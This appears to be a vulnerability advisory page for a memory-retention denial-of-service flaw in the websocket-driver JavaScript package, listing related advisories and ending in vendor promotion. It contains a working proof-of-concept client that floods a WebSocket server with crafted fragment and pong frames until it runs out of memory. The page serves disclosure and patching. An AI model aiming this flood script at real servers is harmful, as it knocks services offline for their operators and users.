GHSA-j7r2-xppq-m353: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.

Details

websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream. If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped. A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing. As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.

Proof of concept

This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:

const net = require('net')
const websocket = require('websocket-driver')
const server = net.createServer((connection) => {
  const driver = websocket.server()
  driver.on('connect', () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })
  driver.on('close', () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})
server.listen(5107, '127.0.0.1')
setInterval(() => {
  const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
  console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)

This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:

const { randomBytes } = require('crypto')
const net = require('net')
// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte
function pong () {
  return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}
// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])
let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})
socket.write(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)
socket.once('data', () => {
  socket.write(firstFragment)
  let flood = () => {
    while (socket.write(unit)) {}
    socket.once('drain', flood)
  }
  flood()
})

When running both of these, the server's memory use is observed to increase indefinitely. After patching, it remains at a low stable level.

Impact

A server using websocket-driver can be forced to retain unneeded Buffer objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-j7r2-xppq-m353HIGH7.5
  • JavaScript logoJavaScript
  • websocket-driver
NonOuiNov 28, 2026
GHSA-w7cm-vp9h-3qp4MEDIUM6.3
  • JavaScript logoJavaScript
  • axios
NonOuiNov 28, 2026
GHSA-mw39-9473-h7mrMEDIUM6.3
  • JavaScript logoJavaScript
  • axios
NonOuiNov 28, 2026
GHSA-v2qg-6486-r9rfLOW2.3
  • JavaScript logoJavaScript
  • axios
NonOuiNov 28, 2026
GHSA-jm66-q5wm-qf72MEDIUMN/A
  • JavaScript logoJavaScript
  • orbitdb-relay
NonNonNov 28, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités